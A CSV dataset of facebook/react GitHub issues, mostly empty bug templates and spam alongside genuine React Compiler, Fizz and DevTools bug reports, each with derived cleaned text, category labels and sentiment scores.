repo_name,issue_id,title,body,labels,created_at,closed_at,comments_count,labels_str,resolution_time_days,clean_text,standardized_label,sentiment_score
facebook/react,4672176989,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior",Status: Unconfirmed,2026-06-16 07:49:34+00:00,2026-06-16 07:56:37+00:00,0,Status: Unconfirmed,0.0049,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4602486441,[spam],"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-06-06 07:39:10+00:00,2026-06-08 15:21:52+00:00,0,Status: Unconfirmed,2.3213,spam of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,others,-0.8074
facebook/react,4589484292,Bug: I need my Facebook to set you down and to be starting to send Facebook message to other friends help me arrange everything on my Facebook to be good,"`<!--`<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-06-04 14:21:24+00:00,2026-06-10 06:15:14+00:00,1,Status: Unconfirmed,5.6624,i need my facebook to set you down and to be starting to send facebook message to other friends help me arrange everything on my facebook to be good of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,0.4404
facebook/react,4559890886,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-06-01 02:29:15+00:00,2026-06-04 16:08:53+00:00,0,Status: Unconfirmed,3.5692,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4539768508,Bug: Fizz image preload headers drop referrerPolicy for rendered <img>,"React version:

current `main` (`c014813413`)

## Steps To Reproduce

1. Render with `renderToPipeableStream` and provide an `onHeaders` callback.
2. Render an image like `<img src=""/img.png"" fetchPriority=""high"" referrerPolicy=""no-referrer"" />`.
3. Inspect the `Link` header captured by `onHeaders`.

Link to code example:

Minimal repro inline:

```js
let headers = null;

function onHeaders(x) {
  headers = x;
}

renderToPipeableStream(
  <html>
    <body>
      <img
        src=""/img.png""
        fetchPriority=""high""
        referrerPolicy=""no-referrer""
      />
    </body>
  </html>,
  {onHeaders},
);

console.log(headers.Link);
```

## The current behavior

When the preload is emitted as an HTTP `Link` header, `referrerpolicy` is missing.

The fallback `<link rel=""preload"">` path does preserve `referrerPolicy`, so the behavior changes depending on whether the preload is emitted as a header or as a DOM node.

## The expected behavior

If the rendered image preload includes `referrerPolicy`, the same value should be preserved in the emitted `Link` header.

I opened a small fix here as well: #36561.
",,2026-05-28 10:45:23+00:00,2026-06-17 12:57:16+00:00,3,nan,20.0916,fizz image preload headers drop referrerpolicy for rendered react version current render with and provide an callback render an image like inspect the header captured by link to code example minimal repro inline the current behavior when the preload is emitted as an http header is missing the fallback path does preserve so the behavior changes depending on whether the preload is emitted as a header or as a dom node the if the rendered image preload includes the same value should be preserved in the emitted header i opened a small fix here as well,bug,0.6369
facebook/react,4341314131,[Compiler Bug]: Compiler incorrectly memoizes reads of stable external references,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAogGaUJx4A0JZAyngIZ4IEC+BlMEDAQDkMBGzrCA3AB0AdvLgAbNmDAFyAEzR5cReQQIS8aAG5cAvHzZKysuYYhyAqlk0cEAfmQEAFAEoCCwA+AlMINE17Q10Ac1ilBAD9B0MCPAALNDAAOmMzSwIAQkzsvLoC6LTS3KdXd05PHICq7nk2uTgnMEIEbV0YIII5BAB3DX7cFvl5BAAPHHwCTQRKNiglQkooTpMnAgBBLCxk4AMCAHoLkVIuOQgCDAQMCGlzrrkeggBtRkpcRD1DwAXSGt1YHl8AAZ-PZzrcqDQ6L5kiEUmkCH0dLgcnU3B4hqjQv94AggZwUXIfHIoBgAEYIGCBNEOADUBAAjLDzoYxHhYA4ieiMZjJjBcS58ZwwXIVpQ0CMojyeK1GN9gdyFKk+QK-MqADzaUzBZWGfV0qB4XQOJwAYSUaDgAGsLMAhViBjk4gkkv5uCbUiKjBVzD5gKwYArYr4PTj8uY-aaCPqLharU4AxiU0bMwRNR0QPQQB95bEUCAzqkrl1sGgVHs5ABZCArHwyEA2JTt9qF8AZCCjACSck4MDkNjAKDWtgQ3CAA

### Repro steps

1. Use the react component in the playground link.
2. Click the `<button>`
3. Button state not updated
4. Add `'use no memo'` and click the `<button>`, button state correctly updated



### How often does this bug happen?

Every time

### What version of React are you using?

19.2.5

### What version of React Compiler are you using?

1.0.0","Type: Bug,Status: Unconfirmed",2026-04-28 07:21:07+00:00,2026-04-28 18:34:01+00:00,1,"Type: Bug,Status: Unconfirmed",0.4673,compiler bug compiler incorrectly memoizes reads of stable external references what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps use the react component in the playground link click the button state not updated add and click the button state correctly updated how often does this bug happen every time what version of react are you using what version of react compiler are you using,bug,-0.1027
facebook/react,4317016676,[Compiler Bug]: incorrect memoization of Tanstack table methods in extracted components,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://github.com/DerTimonius/react-compiler-tanstack-table-repro

### Repro steps

I stumbled across a strange bug that appears to be related to the React Compiler when extracting TanStack Table logic into a separate component that uses the Table instance.

I created a Pagination component that calls methods such as table.getCanNextPage() and table.getCanPreviousPage(), but by default it does not render correctly. The values returned by these methods do not seem to update reliably inside the JSX, which causes the pagination buttons to end up in an incorrect disabled state.

### Expected behavior
The pagination buttons should update correctly based on the current table state.

### Actual behavior
The pagination buttons remain in the wrong disabled state unless one of the workarounds below is applied.

### Reproduction steps

1. Open the table example ([stackblitz link](https://stackblitz.com/~/github.com/DerTimonius/react-compiler-tanstack-table-repro)).
2. Remove the unreachable return statement from the Pagination component.
3. Observe that the pagination buttons ... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-04-23 15:20:16+00:00,2026-05-03 08:41:50+00:00,6,"Type: Bug,Status: Unconfirmed",9.7233,compiler bug incorrect memoization of tanstack table methods in extracted components what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps i stumbled across a strange bug that appears to be related to the react compiler when extracting tanstack table logic into a separate component that uses the table instance i created a pagination component that calls methods such as table getcannextpage and table getcanpreviouspage but by default it does not render correctly the values returned by these methods do not seem to update reliably inside the jsx which causes the pagination buttons to end up in an incorrect disabled state the pagination buttons should update correctly based on the current table state the pagination buttons remain in the wrong disabled state unless one of the workarounds below is applied reproduction steps open the table example stackblitz link remove the unreachable return statement from the pagination component observe that the pagination buttons truncated,bug,-0.4019
facebook/react,4311112757,[Compiler Bug]: do not remove comments during compilation,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANoyyuBABp8YBLgDKuRQgC6+ALz4o67bqHj8+APQAqfEzoK6AIyr47Nq-hgbYbAA8hEwAbgB8wApKAL6BNiERANziMeIgyiBSdCRMAOYoIGISNjZSALaYTJSKLHTsEMTI+KIgZJSUrakZ4AAWEADuAJJ0SjB07WAo5JTqMUA

### Repro steps

From https://github.com/facebook/react/issues/32950#issuecomment-4011608396 and the updated playground link, we can see that comments are being removed by the compiler. 

In this case the comment is used by other tools to affect their behaviour so should not be removed by the react-compiler, especially since it's encouraged to put the `babel-plugin-react-compiler` as the first babel plugin (i.e. run before all others).

### How often does this bug happen?

Every time

### What version of React are you using?

Any

### What version of React Compiler are you using?

1.0.0","Type: Bug,Status: Unconfirmed",2026-04-22 18:37:51+00:00,2026-04-22 19:43:48+00:00,1,"Type: Bug,Status: Unconfirmed",0.0458,compiler bug do not remove comments during compilation what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps from and the updated playground link we can see that comments are being removed by the compiler in this case the comment is used by other tools to affect their behaviour so should not be removed by the react compiler especially since it s encouraged to put the as the first babel plugin i e run before all others how often does this bug happen every time what version of react are you using any what version of react compiler are you using,bug,-0.1621
facebook/react,4281159297,Bug: `component-hook-factories` missing in eprh 7.1.0.,"React version: Latest

## Steps To Reproduce

1. Install latest version of eprh.
2. It breaks.

## The current behavior
(With Oxlint): Rule 'component-hook-factories' not found in plugin 'react-hooks-js'

## The expected behavior
It doesn't break, or the breaking change should be called out in the changelog!

cc @mofeiZ",Status: Unconfirmed,2026-04-17 08:15:53+00:00,2026-04-17 18:08:30+00:00,4,Status: Unconfirmed,0.4115,missing in eprh react version latest install latest version of eprh it breaks the current behavior with oxlint rule component hook factories not found in plugin react hooks js the it doesn t break or the breaking change should be called out in the changelog cc mofeiz,bug,-0.296
facebook/react,4270818749,[Compiler Bug]: `environment.validateNoSetStateInRender` doesn't throw an error for wrong case,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAyngIZ4IEC+BAZjBBgQOQwJVx4cBuADoA7UUygi+aCCIIAxNABsEAFW4IAFAEoioggTiywhYrzxoAbggAiEOADkqGOowC8JMnbhQXIvADCsrQAHng6wnKGxoQA2ljclgCC0tbeTi4ANARkeAAKiSkWafYZCAC6BB6kFNS0muZWtqXOCNqR+gRoTAQNqc2OrQQAhG4eCQjJ-emtusCdBrkFk0VNMy59xQNl7Z30op3ceLByADwAJlYEAPQAfKL7IiCZIEYiTGgA5igg81FCIAQIksaFYIj8eAByD0YhAlioSjQ5xoCAcEHICDwlBRAEkRAAlIHnBAwKEEPAwKAIPYPZ7gAAWEAA7njaDARAiwCgmJyEPQgA

### Repro steps

Replace `if (activeDocName !== prevActiveDocName) {` with `if (true) {` and you will receive

```
Found 1 error:

Error: Cannot call setState during render

Calling setState during render may trigger an infinite loop.
* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
* To derive data from other state/props, compute the derived data during render without using state.

   6 |
   7 |   if (true) {
>  8 |     setPrevActiveDocName(activeDocName);
     |     ^^^^^^^^^^^^^^^^^^^^ Found ... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-04-15 18:16:18+00:00,2026-04-15 19:52:40+00:00,2,"Type: Bug,Status: Unconfirmed",0.0669,compiler bug doesn t throw an error for wrong case what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps replace with and you will receive found error error cannot call setstate during render calling setstate during render may trigger an infinite loop to reset state when other state props change store the previous value in state and update conditionally to derive data from other state props compute the derived data during render without using state if true setprevactivedocname activedocname found truncated,bug,-0.8074
facebook/react,4223621902,"[Compiler Bug]: custom hook, result of which interacts with previously calculated value, disables compilation.","### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBcMCAhnggMIQB2VAHngDQFRg31OvucCyCDBAIBfAgDMYEDAQA6IMuTh4FAbjl1NEqHRVp6JcgBs4UY5QQBlPJTAAKXABMEMMMnZ0A1nQgB3OgBtAF0ASiJNOTwyPFg6AmdXMAA6YwQ6AHM8AAsNOlFIugRGHHwSejBCADkoDAAjVwAxXAxKWgZiwgBeEiUqdp57Ir8CAEkGY2Sa+qaWyntQ0LztXX1DDgRphphmmFa8BYitaIRYmHiNgc77Ldm9tu5Opc0CrToAeneCACFyJwIALRGUzmSw2OwEXyEDBCCBoABeCCcmmKpUIOj0eAM8QA8kV7MREm4xB5CTAXG4PLofP4gsExOFgJE8HAKoQwLUCD17IcugA+I5RKIxOLAswWKjgvAOIlgZ7HUShBbLY6suiVAhYGBoRC3HZzbp8Ta1ba7fbKwrC06igA8-AAnjioHgsM6CE5KOQusAtTrjTN9fc8MkJAb7ByMKFxO8+XlXppPgQMhAIP8gXATOKwbZpQQ0GACDDhAikSiSrh0assYYACp+CAEhLkpIkohNinuTw0gIhBmCllsggRrkEHnhfn9q1neIZkES6w5mXNtzyqKKi1vKJqjW+3Umu77EcbPVm+ar44i84EO2O52uwge2zeiPR2MvQqJ5OpwFi0GSxd5gWRYQPCaClkU5ZlBiazxDW2RkAgjayq2ZIdlS3i+D29KKv227spyPQbIIwhjlyApMscU6irOWb-nYjjLnKyx4KIbCBLKYQqlug67v6poGkenAnmG55UVeN5Oi6bqPl6PranuAansGoZBuGtRRgQMZxpoIAsCAaoSGgGQoCAFEEJp7ystgaASti-CpggHgKCYxgKC8ungNk-jjFQ5wmGAKASP5CCiEAA

### Repro steps

I'm sorry for a wishy-washy title. I'm struggling to describe in words what exactly are the conditions I've hit here... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-04-08 09:49:54+00:00,2026-04-08 18:14:55+00:00,2,"Type: Bug,Status: Unconfirmed",0.3507,compiler bug custom hook result of which interacts with previously calculated value disables compilation what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps i m sorry for a wishy washy title i m struggling to describe in words what exactly are the conditions i ve hit here truncated,bug,-0.2732
facebook/react,4217726179,"nevidimka,qwe","<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-04-07 12:43:16+00:00,2026-04-08 18:25:59+00:00,0,Status: Unconfirmed,1.238,nevidimka qwe of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,others,-0.7003
facebook/react,4205508479,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-04-04 18:11:12+00:00,2026-04-08 18:25:38+00:00,0,Status: Unconfirmed,4.01,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4201109494,Bug:,Petrosaich@gmail.com,Status: Unconfirmed,2026-04-03 15:43:19+00:00,2026-04-08 18:25:49+00:00,0,Status: Unconfirmed,5.1128,petrosaich gmail com,bug,0.0
facebook/react,4200685666,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior",Status: Unconfirmed,2026-04-03 14:00:50+00:00,2026-04-08 18:26:03+00:00,0,Status: Unconfirmed,5.1842,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4191660799,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-04-02 05:02:53+00:00,2026-04-02 15:37:43+00:00,0,Status: Unconfirmed,0.4409,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4191659495,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-04-02 05:02:37+00:00,2026-04-02 15:37:45+00:00,0,Status: Unconfirmed,0.4411,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4182966946,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

## Steps To Reproduce

1.
2.

<!--
  Your bug will get fixed much faster if we can run your code and it doesn't
  have dependencies other than React. Issues without reproduction steps or
  code examples may be immediately closed as not actionable.
-->

Link to code example:

<!--
  Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
  repository on GitHub, or provide a minimal code example that reproduces the
  problem. You may provide a screenshot of the application if you think it is
  relevant to your bug report. Here are some tips for providing a minimal
  example: https://stackoverflow.com/help/mcve.
-->

## The current behavior


## The expected behavior
",Status: Unconfirmed,2026-03-31 23:23:16+00:00,2026-04-08 18:26:12+00:00,0,Status: Unconfirmed,7.7937,of what the bug is include if needed please test using the latest version of the relevant react packages to make sure your issue has not already been fixed react version your bug will get fixed much faster if we can run your code and it doesn t have dependencies other than react issues without reproduction steps or code examples may be immediately closed as not actionable link to code example please provide a codesandbox a link to a repository on github or provide a minimal code example that reproduces the problem you may provide a screenshot of the application if you think it is relevant to your bug report here are some tips for providing a minimal example the current behavior the,bug,-0.7003
facebook/react,4166103194,[Compiler Bug]: can't use $ as component name in Client Components,"### What kind of issue is this?

- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)

### Link to repro

https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAJABTBwAWeANgCYwKYC+AlEcADrFFM6xiAHnp4AbgD5KNBk1ZCA9KMk8WPHggAeABwgwcRegjQBDKLQMZs+QkQCyATwCC27WQ7de-QUSEkJQlQAjBIAEgi0tBBEAOp6DACEisEBCv6qPCAANCBwhGh4AOYoIHgAtrr6RDgO2gicRAAKtFCFeJgA8to2mGBELERoMBBlRADkAEYmExEAtNotbZizTCa4s3kVdAgwSnhgOGMA3OqYFDxERAoKm9p0Jj12EEbIRFwgJpHvqkRgD-sFBB9ZqtdpdHpgNhHbLgKgQADuAElMDgdphPmAUKZaGAECwgA

### Repro steps

In my codebase, I have a utility component called `<$>` that I use as a succinct shortcut for inline styles.

```tsx
// this
<$ fs=""10em"" x=""30%"" y=""10%"">
  <h1>Hello World!</h1>
</$>

// is equivalent to this
<h1 style={{fontSize: ""10em"", left: ""30%"", position: ""absolute"", top: ""10%""}}>Hello World!</h1>
```

This works in Server Components, but breaks in Client Components. It seems that React Compiler uses `$` and `_c` as reserved variables, which overwrite my component. So either

1. the Compiler should detect when `$` in the scope and choose a different variable name, or
2. the docs should include a warning about this (apologies if they already do, I couldn't fin... [TRUNCATED]","Type: Bug,Status: Unconfirmed",2026-03-29 23:49:40+00:00,2026-04-08 18:51:03+00:00,5,"Type: Bug,Status: Unconfirmed",9.7926,compiler bug can t use as component name in client components what kind of issue is this x react compiler core the js output is incorrect or your app works incorrectly after optimization babel plugin react compiler build issue installing or using the babel plugin eslint plugin react hooks build issue installing or using the eslint plugin react compiler healthcheck build issue installing or using the healthcheck script link to repro repro steps in my codebase i have a utility component called that i use as a succinct shortcut for inline styles this works in server components but breaks in client components it seems that react compiler uses and as reserved variables which overwrite my component so either the compiler should detect when in the scope and choose a different variable name or the docs should include a warning about this apologies if they already do i couldn t fin truncated,bug,-0.5106
facebook/react,4159101011,[DevTools Bug]: Extension running a worker file in main thread on non-React website,"### Website or app

https://honing-forecast.pages.dev/Newchar

### ~~Repro steps~~

1. ~~Open the site with the extension enabled on Chrome (and any Chromium browsers it seems) or Firefox~~

~~The memory footprint shoots up like crazy (seen with chrome task manager, it's usually <250MB, with the extension on it's gigabytes), the cpu is stuck at 100+% and eventually Chrome crashes. I've tried taking a heap snapshot with chrome devtool but it only shows a 20MB footprint.~~

~~I should note this does not occur with the extension disabled. I'd love to provide more insight, but the site is not even using React (and the extension says as much). I'm incredibly confused as to why this might be happening (the source code of my site is [available here](https://github.com/Kenivia/Honing-Forecast)).~~

Initial symptom was resolved, see discussion below!



### How often does this bug happen?

Every time

### DevTools package (automated)

_No response_

### DevTools version (automated)

_No response_

### Error message (automated)

_No response_

### Error call stack (automated)

```text

```

### Error component stack (automated)

```text

```

### GitHub query string (automated)

```text

```","Type: Bug,Status: Unconfirmed,Component: Developer Tools",2026-03-28 10:07:31+00:00,2026-03-29 14:18:56+00:00,4,"Type: Bug,Status: Unconfirmed,Component: Developer Tools",1.1746,devtools bug extension running a worker file in main thread on non react website website or app repro steps open the site with the extension enabled on chrome and any chromium browsers it seems or firefox the memory footprint shoots up like crazy seen with chrome task manager it s usually mb with the extension on it s gigabytes the cpu is stuck at and eventually chrome crashes i ve tried taking a heap snapshot with chrome devtool but it only shows a mb footprint i should note this does not occur with the extension disabled i d love to provide more insight but the site is not even using react and the extension says as much i m incredibly confused as to why this might be happening the source code of my site is available here initial symptom was resolved see discussion below how often does this bug happen every time devtools package automated no response devtools version automated no response error message automated no response error call stack automated error component stack automated github query string automated,bug,-0.9698
facebook/react,4155585217,Bug:,"<!--
  Please provide a clear and concise description of what the bug is. Include
  screenshots if needed. Please test using the latest version of the relevant
  React packages to make sure your issue has not already been fixed.
-->

React version:

